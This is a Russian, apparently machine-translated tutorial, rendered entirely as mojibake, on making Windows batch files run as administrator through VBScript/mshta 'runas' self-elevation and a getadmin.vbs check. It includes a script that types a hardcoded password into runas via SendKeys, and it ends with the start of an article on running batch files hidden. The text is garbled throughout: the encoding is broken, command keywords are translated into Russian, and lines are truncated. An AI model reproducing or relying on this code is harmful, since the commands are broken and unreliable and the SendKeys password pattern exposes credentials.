ΠΡΡΡ ΠΈ Π΄ΡΡΠ³ΠΈΠ΅ Π²Π΅ΡΠΈ, ΠΊΠΎΡΠΎΡΡΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΏΡΠΎΡΡΠΈΡΡ, Π½ΠΎ ΡΡΠΈ ΠΈΡΠΏΡΠ°Π²Π»Π΅Π½ΠΈΡ Π΄ΠΎΠ»ΠΆΠ½Ρ ΠΏΠΎΠΌΠΎΡΡ Π²Π°ΠΌ Π½Π°ΡΠ°ΡΡ ΡΠ°Π±ΠΎΡΡ.
ΠΠ²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ Π·Π°ΠΏΡΡΠΊΠ°ΡΡ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠΉ ΡΠ°ΠΉΠ» bat ΠΎΡ ΠΈΠΌΠ΅Π½ΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ° (VBS ΠΈ bat)
ΠΠ΄Π½Π°ΠΊΠΎ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠ΅ ΡΡΠ΅Π½Π°ΡΠΈΠΈ Π½Π΅ Π·Π°ΠΏΡΡΠΊΠ°ΡΡΡΡ ΠΎΡ ΠΈΠΌΠ΅Π½ΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°.ΠΠ±ΡΡΠ½ΠΎ Ρ Π½Π°Π·ΠΎΠ²Ρ ΡΡΠ΅Π½Π°ΡΠΈΠΉ Β«XXXXXXΒ» (ΡΠ΅Π»ΠΊΠ½ΠΈΡΠ΅ ΠΏΡΠ°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡΡΠΈ, Π·Π°ΠΏΡΡΡΠΈΡΠ΅ ΠΎΡ ΠΈΠΌΠ΅Π½ΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°!). Bat Β», Π½ΠΎ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»ΠΈ ΠΏΡΠΎΠΈΠ³Π½ΠΎΡΠΈΡΡΡΡ ΡΡΠΎ ΠΏΡΠΈΠ³Π»Π°ΡΠ΅Π½ΠΈΠ΅ ΠΈ Π·Π°ΠΏΡΡΡΡΡ Π½Π°ΠΏΡΡΠΌΡΡ. Π Π½Π°ΡΡΠΎΡΡΠ΅Π΅ Π²ΡΠ΅ΠΌΡ ΡΠΊΡΠΈΠΏΡ Π½Π΅ Π·Π°ΠΏΡΡΠΊΠ°Π΅ΡΡΡ ΠΈΠ·-Π·Π° Π½Π΅Π΄ΠΎΡΡΠ°ΡΠΎΡΠ½ΡΡ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠΉ.
ΠΡ ΠΌΠΎΠΆΠ΅ΠΌ ΠΈΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΡ Π³ΠΈΠ±ΠΊΠΈΠΉ ΠΌΠ΅ΡΠΎΠ΄, ΡΠ°Π·ΡΠ΅ΡΠΈΡΡ Π·Π°ΠΏΡΡΠΊ Π»Π΅ΡΡΡΠ΅ΠΉ ΠΌΡΡΠΈ, ΡΠ½Π°ΡΠ°Π»Π° Π²ΡΠ·Π²Π°ΡΡ ΡΡΠ΅Π½Π°ΡΠΈΠΉ vbs, ΡΠ΅ΡΠ΅Π· ΡΡΠ΅Π½Π°ΡΠΈΠΉ vbs, ΠΊΠ°ΠΊ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡ, ΡΡΠΎΠ±Ρ Π²ΡΠ·Π²Π°ΡΡ Π·Π°ΠΏΡΡΠΊ ΠΊΠ°ΠΊ ΡΠ°ΡΡΡ Π»Π΅ΡΡΡΠ΅ΠΉ ΠΌΡΡΠΈ
ΠΠ°Ρ ΡΠΊΡΠΈΠΏΡ ΠΌΠΎΠΆΠ΅Ρ Π±ΡΡΡ Π½Π°ΠΏΠΈΡΠ°Π½ ΠΏΠΎΠ΄ runas, ΠΏΠΎΡΡΠΎΠΌΡ Π½Π°ΠΆΠΈΠΌΠ°Π΅ΠΌ ΡΠΊΡΠΈΠΏΡ bat ΠΈ Π·Π°ΠΏΡΡΠΊΠ°Π΅ΠΌ ΠΎΡ ΠΈΠΌΠ΅Π½ΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°
ΠΡΠΈΠΌΠ΅Ρ ΠΊΠΎΠ΄Π° Π²ΡΠ³Π»ΡΠ΄ΠΈΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ
@ECHO ΠΠ«ΠΠ.
setlocal EnableDelayedExpansion
ΡΠ²Π΅Ρ 3e
ΠΠ°Π³ΠΎΠ»ΠΎΠ²ΠΎΠΊ Π΄ΠΎΠ±Π°Π²ΠΈΡΡ ΠΊΠΎΠ½ΡΠΈΠ³ΡΡΠ°ΡΠΈΡ ΡΠ»ΡΠΆΠ±Ρ
PUSHD% ~ DP0 ΠΈ cd / d "% ~ dp0"
% 1% 2
mshta vbscript: createobject ("shell.application ").
shellexecute ("% ~ s0 "," goto: runas "," "," runas ", 1) (window.close) & goto: eof
:Π±Π΅Π³ΠΈ ΠΊΠ°ΠΊ
:: Π·Π°ΠΏΠΎΠ»Π½ΠΈΡΠ΅ ΡΠ²ΠΎΠΉ ΡΠΎΠ±ΡΡΠ²Π΅Π½Π½ΡΠΉ ΡΠΊΡΠΈΠΏΡ
ΠΡΠΏΠΎΠ»Π½Π΅Π½ΠΈΠ΅ ΡΡ
Π° Π·Π°Π²Π΅ΡΡΠ΅Π½ΠΎ, Π»ΡΠ±Π°Ρ ΠΊΠ»Π°Π²ΠΈΡΠ° Π΄Π»Ρ Π²ΡΡ
ΠΎΠ΄Π°
ΠΏΠ°ΡΠ·Π°> Π½ΠΎΠ»Ρ
Π²ΡΡ
ΠΎΠ΄
VBS Π·Π°ΠΏΡΡΠΊΠ°Π΅Ρ bat2 Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°
Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ objShell = CreateObject (Β«WScript.ShellΒ»)
strPath = Replace (WScript.ScriptFullName, ΠΈΠΌΡ ΡΠ°ΠΉΠ»Π°, ")
objShell.Run (Β«runas / ΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°ΡΠ΅Π»Ρ: Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΒ» & strPath & Β«cmd.BatΒ»)
WScript.Sleep 1000
objShell.SendKeys Β«ΠΏΠ°ΡΠΎΠ»Ρ {ENTER}Β»
WScript.Π‘ΠΎΠ½ 1000
ΠΡΠΈΠΌΠ΅ΡΠ°Π½ΠΈΠ΅: runas Π½Π΅ ΠΌΠΎΠΆΠ΅Ρ ΠΏΠ΅ΡΠ΅Π΄Π°Π²Π°ΡΡ ΠΏΠ°ΡΠ°ΠΌΠ΅ΡΡΡ
Π ΡΡΠ΅Π½Π°ΡΠΈΠΈ bat Π²ΡΠΏΠΎΠ»Π½ΠΈΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°
Π£ΡΡΠ°Π½ΠΎΠ²ΠΈΡΠ΅ Π·Π°ΠΏΠΈΡΠ°Π½Π½ΡΡ Π»Π΅ΡΡΡΡΡ ΠΌΡΡΡ Π΄Π»Ρ Π·Π°Π³ΡΡΠ·ΠΊΠΈ, Π½ΠΎ ΠΏΠΎ ΡΠΌΠΎΠ»ΡΠ°Π½ΠΈΡ ΠΎΠ½Π° Π½Π΅ Π·Π°ΠΏΡΡΠΊΠ°Π΅ΡΡΡ ΠΎΡ ΠΈΠΌΠ΅Π½ΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°, ΠΏΠΎΡΡΠΎΠΌΡ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π½Π΅ ΠΌΠΎΠ³ΡΡ Π±ΡΡΡ Π²ΡΠΏΠΎΠ»Π½Π΅Π½Ρ ΠΏΡΠΈ Π·Π°ΠΏΡΡΠΊΠ΅
ΠΡΠ΅ΠΆΠ΄Π΅ Π²ΡΠ΅Π³ΠΎ: Π΅ΡΠ»ΠΈ ΠΎΠΊΠ½Π° Π±ΡΠ΄ΡΡ ΠΏΠΎΡΠ²Π»ΡΡΡΡΡ ΠΊΠ°ΠΆΠ΄ΡΠΉ ΡΠ°Π·, ΠΊΠΎΠ³Π΄Π° Π²Ρ ΠΏΠΎΠ»ΡΡΠ°Π΅ΡΠ΅ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°, Π²Ρ Π΄ΠΎΠ»ΠΆΠ½Ρ ΡΠ½Π°ΡΠ°Π»Π° Π·Π°ΠΊΡΡΡΡ Π²ΡΠΏΠ»ΡΠ²Π°ΡΡΠ΅Π΅ ΠΎΠΊΠ½ΠΎ
ΠΠ΅ΡΠΎΠ΄ Π·Π°ΠΊΡΡΡΠΈΡ Π·Π°ΠΊΠ»ΡΡΠ°Π΅ΡΡΡ Π² ΡΠΎΠΌ, ΡΡΠΎ ΠΎΠΊΠ½ΠΎ ΠΏΠΎΠ΄ΡΠΊΠ°Π·ΠΊΠΈ ΠΎΡΠΎΠ±ΡΠ°ΠΆΠ°Π΅ΡΡΡ ΡΠ΅ΠΌΠ½ΡΠΌ ΡΡΠΈΡΡΠΎΠΌ ΠΏΡΠΈ ΠΏΠΎΡΠ²Π»Π΅Π½ΠΈΠΈ ΠΏΠΎΠ΄ΡΠΊΠ°Π·ΠΊΠΈ. Π ΠΏΠΎΠ΄ΡΠΊΠ°Π·ΠΊΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΡ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ Π²ΡΠΏΠ»ΡΠ²Π°ΡΡΠ΅Π³ΠΎ ΠΎΠΊΠ½Π°, ΡΠ΅Π»ΠΊΠ½ΡΡΡ ΠΈ ΡΡΡΠ°Π½ΠΎΠ²ΠΈΡΡ Π΄Π»Ρ Π½Π΅Π³ΠΎ Π½ΠΈΠΊΠΎΠ³Π΄Π° ΠΈΠ»ΠΈ Π½Π΅ Π²ΡΠΏΠ»ΡΠ²Π°ΡΡΠ΅Π΅ ΠΎΠΊΠ½ΠΎ
ΠΠ°ΡΠ΅ΠΌ ΠΏΡΠΎΡΡΠΎ Π΄ΠΎΠ±Π°Π²ΡΡΠ΅ Π½Π΅ΠΌΠ½ΠΎΠ³ΠΎ ΠΊΠΎΠ΄Π° Π² ΡΠ°ΠΉΠ». Π‘ΡΠ΅Π½Π°ΡΠΈΠΉ bat Π΄Π»Ρ Π·Π°ΠΏΡΡΠΊΠ° ΠΎΡ ΠΈΠΌΠ΅Π½ΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°
ΠΠΎΠ±Π°Π²ΡΡΠ΅ ΡΠ»Π΅Π΄ΡΡΡΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π² ΠΏΠ΅ΡΠ²ΡΡ ΡΡΡΠΎΠΊΡ ΡΠ°ΠΉΠ»Π° ΡΡΠ΅Π½Π°ΡΠΈΡ bat:
:: Π·Π°ΡΡΠ°Π²ΠΈΡΡ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ° Π·Π°ΠΏΡΡΡΠΈΡΡ
% 1 mshta vbscript: CreateObject («Shell.Application»). ShellExecute («cmd.exe», «/ c% ~ s0 ::», «», «runas», 1) (window.close) && exit
ΠΠ°ΠΊ CMD / Bat ΠΌΠΎΠΆΠ΅Ρ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈ Π·Π°ΠΏΡΠ°ΡΠΈΠ²Π°ΡΡ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°, Π½Π΅ ΡΠ΅Π»ΠΊΠ°Ρ ΠΏΡΠ°Π²ΠΎΠΉ ΠΊΠ½ΠΎΠΏΠΊΠΎΠΉ ΠΌΡΡΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°
ΠΠ΅ΡΠ²ΡΠΉ ΠΏΠΎΠ»Π½ΡΠΉ ΠΊΠΎΠ΄:
@ ΡΡ
ΠΎ Π²ΡΠΊΠ».
> nul 2> & 1 "% SYSTEMROOT% \ system32 \ cacls.)> "% temp% \ getadmin.vbs"
echo UAC.ShellExecute "% ~ s0", "", "", "runas", 1 >> "% temp% \ getadmin.vbs"
"% temp% \ getadmin.vbs"
Π²ΡΡ
ΠΎΠ΄ / B
: gotAdmin
ΠΡΠΈΠ½ΡΠΈΠΏ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ:
ΠΠΎΡΡΡΠΏ ΠΊ ΠΏΠ°ΠΏΠΊΠ΅, ΡΡΠ΅Π±ΡΡΡΠ΅ΠΉ Π°Π²ΡΠΎΡΠΈΠ·Π°ΡΠΈΠΈ, Π½Π°ΠΏΡΠΈΠΌΠ΅Ρ (% systemroot% \ system32 / config / system)
ΠΡΠ»ΠΈ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΎ, ΠΎΡΠ΅Π²ΠΈΠ΄Π½ΠΎ, ΡΡΠΎ Π΅ΡΡΡ ΠΏΡΠ°Π²Π° Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°
ΠΡΠ»ΠΈ ΠΎΠ½ Π±ΡΠ΄Π΅Ρ ΠΎΡΠΊΠ»ΠΎΠ½Π΅Π½, Π²Π°ΠΌ Π½ΡΠΆΠ½ΠΎ Π±ΡΠ΄Π΅Ρ ΠΏΠΎΠ΄Π°ΡΡ Π·Π°ΡΠ²Π»Π΅Π½ΠΈΠ΅ Π½Π° ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΠ΅.
ΠΠ΅ΡΠΎΠ΄ ΠΏΠΎΠ΄Π°ΡΠΈ Π·Π°ΡΠ²Π»Π΅Π½ΠΈΡ Π½Π° ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΠ΅ ΡΠ°Π·ΡΠ΅ΡΠ΅Π½ΠΈΡ ΡΠ»Π΅Π΄ΡΡΡΠΈΠΉ:
(ΡΠΌ. ΠΠΎΠ΄ ΡΡ Π°)
Π‘ΠΎΠ·Π΄Π°ΠΉΡΠ΅ Π±Π΅Π³ΡΠ½, Π·Π°ΠΏΡΡΡΠΈΡΠ΅ ΠΎΡΠ½ΠΎΡΠΈΡΠ΅Π»ΡΠ½ΡΠΉ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ (ΠΎΡΠ½ΠΎΡΠΈΡΠ΅Π»ΡΠ½ΡΠΉ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ — ΡΡΠΎ ΠΊΠ°ΡΠ°Π»ΠΎΠ³ Π΄Π»Ρ Π·Π°ΠΏΡΡΠΊΠ° ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠΉ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ) Π² ΠΏΡΠΎΠ³ΡΠ°ΠΌΠΌΠ΅ Ρ ΠΏΡΠ°Π²Π°ΠΌΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°.
Π’ΠΎΠ³Π΄Π° Π΅ΡΡΠ΅ΡΡΠ²Π΅Π½Π½ΠΎ ΠΎΠ±ΡΠ°ΡΠ°ΡΡΡΡ ΠΊ Π°Π΄ΠΌΠΈΠ½Ρ. ΠΠ°Ρ, Π·Π΄Π΅ΡΡ ΠΏΡΠ΅Π΄ΡΡΠ°Π²Π»Π΅Π½Π° ββΡΡΠ°ΡΡΡ ΠΎ VBS-ΡΠ°ΠΉΠ»Π΅ Ρ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΡΠ΅ΡΠΊΠΈΠΌ Π·Π°ΠΏΡΡΠΊΠΎΠΌ ΠΏΠ°ΠΊΠ΅ΡΠ½ΠΎΠΉ ΠΎΠ±ΡΠ°Π±ΠΎΡΠΊΠΈ (BAT) ΠΎΡ ΠΈΠΌΠ΅Π½ΠΈ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°. ΠΠ»Ρ ΠΏΠΎΠ»ΡΡΠ΅Π½ΠΈΡ Π±ΠΎΠ»Π΅Π΅ ΠΏΠΎΠ΄Ρ ΠΎΠ΄ΡΡΠ΅Π³ΠΎ Π°Π΄ΠΌΠΈΠ½ΠΈΡΡΡΠ°ΡΠΎΡΠ°, Π·Π°ΠΏΡΡΠΊΠ°ΡΡΠ΅Π³ΠΎ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠΉ ΠΊΠΎΠ½ΡΠ΅Π½Ρ, Π²ΡΠΏΠΎΠ»Π½ΠΈΡΠ΅ ΠΏΠΎΠΈΡΠΊ Π² ΠΏΡΠ΅Π΄ΡΠ΄ΡΡΠΈΡ ΡΡΠ°ΡΡΡΡ developeppaer ΠΈΠ»ΠΈ ΠΏΡΠΎΠ΄ΠΎΠ»ΠΆΠ°ΠΉΡΠ΅ ΠΏΡΠΎΡΠΌΠ°ΡΡΠΈΠ²Π°ΡΡ ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΠΈΠ΅ ΡΡΠ°ΡΡΠΈ Π½ΠΈΠΆΠ΅. Π― Π½Π°Π΄Π΅ΡΡΡ, ΡΡΠΎ Π² Π±ΡΠ΄ΡΡΠ΅ΠΌ Π²Ρ ΡΠΌΠΎΠΆΠ΅ΡΠ΅ Π±ΠΎΠ»ΡΡΠ΅ ΠΏΠΎΠ΄Π΄Π΅ΡΠΆΠΈΠ²Π°ΡΡ ΡΠ°Π·ΡΠ°Π±ΠΎΡΡΠΈΠΊΠΎΠ²!
Π‘ΠΊΡΡΡΡ Π·Π°ΠΏΡΡΠ΅Π½Π½ΡΠΉ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠΉ ΡΠ°ΠΉΠ» Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΡΡΠ΅Π½Π°ΡΠΈΡ Visual Basic
ΠΡΠ° ΡΡΠ°ΡΡΡ Ρ ΠΏΡΠ°ΠΊΡΠΈΡΠ΅ΡΠΊΠΈΠΌΠΈ ΡΠ΅ΠΊΠΎΠΌΠ΅Π½Π΄Π°ΡΠΈΡΠΌΠΈ ΠΏΡΠΎΡΡΠ° ΠΈ ΠΏΠΎ ΡΡΡΠ΅ΡΡΠ²Ρ.Π ΡΡΠΎΠΌ ΠΏΠΎΡΡΠ΅ Π²Ρ ΡΠ·Π½Π°Π΅ΡΠ΅, ΠΊΠ°ΠΊ Π·Π°ΠΏΡΡΠΊΠ°ΡΡ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ Π² ΡΠΊΡΡΡΠΎΠΌ ΡΠ΅ΠΆΠΈΠΌΠ΅. Π§Π°ΡΡΠΎ Π²Π°ΠΌ Π½ΡΠΆΠ½ΠΎ Π·Π°ΠΏΡΡΠΊΠ°ΡΡ ΡΠΊΡΡΡΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ, ΡΡΠΎΠ±Ρ ΡΠΎΡ
ΡΠ°Π½ΠΈΡΡ ΠΈΡ
Π² Π±Π΅Π·ΠΎΠΏΠ°ΡΠ½ΠΎΡΡΠΈ; Π½Π΅ Π·Π°ΠΊΡΡΠ²Π°ΡΡΡΡ ΠΏΠΎ ΠΎΡΠΈΠ±ΠΊΠ΅. Π― ΠΏΠΎΠΌΠ½Ρ, ΠΌΠ½ΠΎΠ³ΠΎ Π»Π΅Ρ Π½Π°Π·Π°Π΄, ΠΊΠΎΠ³Π΄Π° Ρ Π²ΠΏΠ΅ΡΠ²ΡΠ΅ Π·Π°ΡΠ΅Π» Π½Π° ΡΠ΅ΡΠ²Π΅ΡΠ½ΡΡ ΠΌΠ°ΡΠΈΠ½Ρ Π² ΡΠ²ΠΎΠ΅ΠΌ ΠΎΡΠΈΡΠ΅, ΠΌΠΎΠΉ ΠΌΠ΅Π½Π΅Π΄ΠΆΠ΅Ρ ΠΏΠΎΠΏΡΠΎΡΠΈΠ» ΠΌΠ΅Π½Ρ Π½Π΅ΠΌΠ΅Π΄Π»Π΅Π½Π½ΠΎ Π½Π΅ Π·Π°ΠΊΡΡΠ²Π°ΡΡ ΠΎΠΊΠ½Π° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ Π½ΠΈ ΠΏΠΎ ΠΊΠ°ΠΊΠΎΠΉ ΠΏΡΠΈΡΠΈΠ½Π΅, ΠΏΠΎΡΠΎΠΌΡ ΡΡΠΎ ΠΌΠ½ΠΎΠ³ΠΈΠ΅ ΠΏΡΠΈΠ»ΠΎΠΆΠ΅Π½ΠΈΡ Π²ΡΠΏΠΎΠ»Π½ΡΠ»ΠΈΡΡ ΡΠ΅ΡΠ΅Π· ΡΡΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Π½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ Π² ΠΏΡΠΎΠΈΠ·Π²ΠΎΠ΄ΡΡΠ²Π΅Π½Π½ΠΎΠΉ ΡΡΠ΅Π΄Π΅. ΠΠ΅ ΡΠΎΠ»ΡΠΊΠΎ ΡΡΠΎ, Π½ΠΎ Π±ΡΠ»ΠΈ Π²Π΅Π΄ΠΎΠΌΡΠ΅ ΠΌΠ°ΡΠΈΠ½Ρ Jenkin, ΡΠ΅ΡΠ²Π΅ΡΡ ΡΠ΅Π³ΠΈΡΡΡΠ°ΡΠΎΡΠΎΠ² ΠΎΡΠ½ΠΎΠ²Π½ΠΎΠ³ΠΎ ΠΏΡΠΈΠΊΠ»Π°Π΄Π½ΠΎΠ³ΠΎ ΠΏΡΠΎΠ΄ΡΠΊΡΠ° ΠΌΠΎΠ΅ΠΉ ΠΊΠΎΠΌΠΏΠ°Π½ΠΈΠΈ, telnet ΠΈ Π½Π΅ΡΠΊΠΎΠ»ΡΠΊΠΎ Π΄ΡΡΠ³ΠΈΡ
ΡΠΊΠ·Π΅ΠΌΠΏΠ»ΡΡΠΎΠ², ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠ°Π±ΠΎΡΠ°Π»ΠΈ Π½Π° ΠΎΡΠ½ΠΎΠ²Π΅ ΡΡΠΈΡ
ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΡ
ΡΠ°ΠΉΠ»ΠΎΠ², ΠΏΠΎΡΡΠΎΠΌΡ ΠΏΠ΅ΡΠ²ΠΎΠ΅, ΡΡΠΎ Ρ ΡΠ΄Π΅Π»Π°Π», ΡΡΠΎ Π·Π°ΡΡΠ°Π²ΠΈΠ» Π·Π°ΠΏΡΡΠΊΠ°ΡΡ ΡΡΠΈ Π·Π°ΠΏΡΡΠ΅Π½Π½ΡΠ΅ ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ Π² ΡΠΊΡΡΡΡΠΉ ΡΠ΅ΠΆΠΈΠΌ (ΠΎΡ ΡΠ»ΡΡΠ°Ρ ΠΊ ΡΠ»ΡΡΠ°Ρ ΠΎΠ½ ΠΌΠ΅Π½ΡΠ΅ΡΡΡ ΠΏΠΎ-ΡΠ°Π·Π½ΠΎΠΌΡ), ΠΏΠΎΡΡΠΎΠΌΡ Π΄ΠΎΡΡΡΠΏ ΠΊ Π½ΠΈΠΌ Π±ΡΠ΄ΡΡ ΠΈΠΌΠ΅ΡΡ ΡΠΎΠ»ΡΠΊΠΎ ΠΏΡΠ΅Π΄ΠΏΠΎΠ»Π°Π³Π°Π΅ΠΌΡΠ΅ Π»ΡΠ΄ΠΈ, ΠΈ ΠΎΡΠΊΠ»ΡΡΠ΅Π½ΠΈΠ΅ ΡΡΠΈΡ
ΡΠ΅ΡΠ²Π΅ΡΠΎΠ² Π±ΡΠ΄Π΅Ρ ΠΌΠ΅Π½Π΅Π΅ ΠΎΠ±ΡΠ΅ΠΌΠ΅Π½ΠΈΡΠ΅Π»ΡΠ½ΡΠΌ.
ΠΠ°ΠΊΠ΅ΡΠ½ΡΠ΅ ΡΠ°ΠΉΠ»Ρ? — Π·Π°ΡΠ΅ΠΌ Ρ ΠΈΡ ΠΈΡΠΏΠΎΠ»ΡΠ·ΡΡ?
ΠΠ°ΠΊΠ΅ΡΠ½ΡΠΉ ΡΠ°ΠΉΠ» ΡΠΎΠ΄Π΅ΡΠΆΠΈΡ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΡΡΠ΅Π½Π°ΡΠΈΠΈ ΠΈΠ»ΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π΄Π»Ρ ΠΏΠΎΡΠ»Π΅Π΄ΠΎΠ²Π°ΡΠ΅Π»ΡΠ½ΠΎΠ³ΠΎ Π·Π°ΠΏΡΡΠΊΠ° Ρ ΠΏΠΎΠΌΠΎΡΡΡ ΠΈΠ½ΡΠ΅ΡΠΏΡΠ΅ΡΠ°ΡΠΎΡΠ° ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠΈ, ΡΡΠΈ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π²ΡΠΏΠΎΠ»Π½ΡΡΡΡΡ Π±ΡΡΡΡΠ΅Π΅, ΡΡΠΎΠ±Ρ ΡΠ΄Π΅Π»Π°ΡΡ ΡΡΠΈ ΡΠ°ΠΉΠ»Ρ ΡΡΠ΅Π½Π°ΡΠΈΠ΅Π² ΠΏΠΎΠ»Π΅Π·Π½ΡΠΌΠΈ Π΄Π»Ρ ΡΠ»ΡΠΆΠ± Π²Π΅Π΄Π΅Π½ΠΈΡ ΠΆΡΡΠ½Π°Π»Π°, Π΄Π»Ρ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·Π°ΡΠΈΠΈ Π½Π΅ΠΊΠΎΡΠΎΡΡΡ
Π·Π°Π΄Π°Π½ΠΈΠΉ ΠΈ Π΄Π»Ρ Π½Π°ΡΡΡΠΎΠΉΠΊΠΈ Π½Π΅ΠΊΠΎΡΠΎΡΡΡ
ΡΠ»ΡΠΆΠ± Π² ΡΡΠ΅Π΄Π΅ Microsoft Windows. ΠΡΡΡΠ΅Π΅ Π² ΠΏΠ°ΠΊΠ΅ΡΠ½ΡΡ
ΡΡΠ΅Π½Π°ΡΠΈΡΡ
(ΡΡΠΎ Ρ ΠΏΠΎΠ½ΡΠ») — ΡΡΠΎ ΠΈΡ
ΡΠΈΠ½ΡΠ°ΠΊΡΠΈΡ, ΠΊΠΎΡΠΎΡΡΠΉ Π½Π΅ ΠΌΠ΅Π½ΡΠ΅ΡΡΡ. ΠΡΠΎ ΠΎΡΡΠ°Π΅ΡΡΡ Π½Π΅ΠΈΠ·ΠΌΠ΅Π½Π½ΡΠΌ Π΄Π»Ρ Π²ΡΠ΅Ρ
Π²Π΅ΡΡΠΈΠΉ ΠΎΠΏΠ΅ΡΠ°ΡΠΈΠΎΠ½Π½ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΡ Windows, ΠΏΠΎΡΡΠΎΠΌΡ Π½Π°ΠΏΠΈΡΠ°Π½Π½ΡΠ΅ ΠΎΠ΄Π½Π°ΠΆΠ΄Ρ ΡΠΊΡΠΈΠΏΡΡ Π±ΡΠ΄ΡΡ Π²ΡΠΏΠΎΠ»Π½ΡΡΡ ΡΠ²ΠΎΡ ΡΠ°Π±ΠΎΡΡ Π² ΡΠ΅ΡΠ΅Π½ΠΈΠ΅ ΠΌΠ½ΠΎΠ³ΠΈΡ
Π»Π΅Ρ.ΠΠΎΠ»Π΅Π΅ ΡΠΎΠ³ΠΎ, Π½Π΅ ΡΠ°ΠΊ ΠΏΡΠΎΡΡΠΎ ΠΏΠΈΡΠ°ΡΡ Π½Π΅ΠΊΠΎΡΠΎΡΡΠ΅ ΡΠ»ΠΎΠΆΠ½ΡΠ΅ ΠΊΠΎΠΌΠ°Π½Π΄Ρ Π² ΠΊΠΎΠΌΠ°Π½Π΄Π½ΠΎΠΉ ΡΡΡΠΎΠΊΠ΅ ΠΈΠ»ΠΈ ΠΎΠ±ΠΎΠ»ΠΎΡΠΊΠ΅ ΡΠ½ΠΎΠ²Π° ΠΈ ΡΠ½ΠΎΠ²Π°; Π»ΡΡΡΠ΅ Π·Π°ΠΏΠΈΡΠ°ΡΡ ΠΈΡ
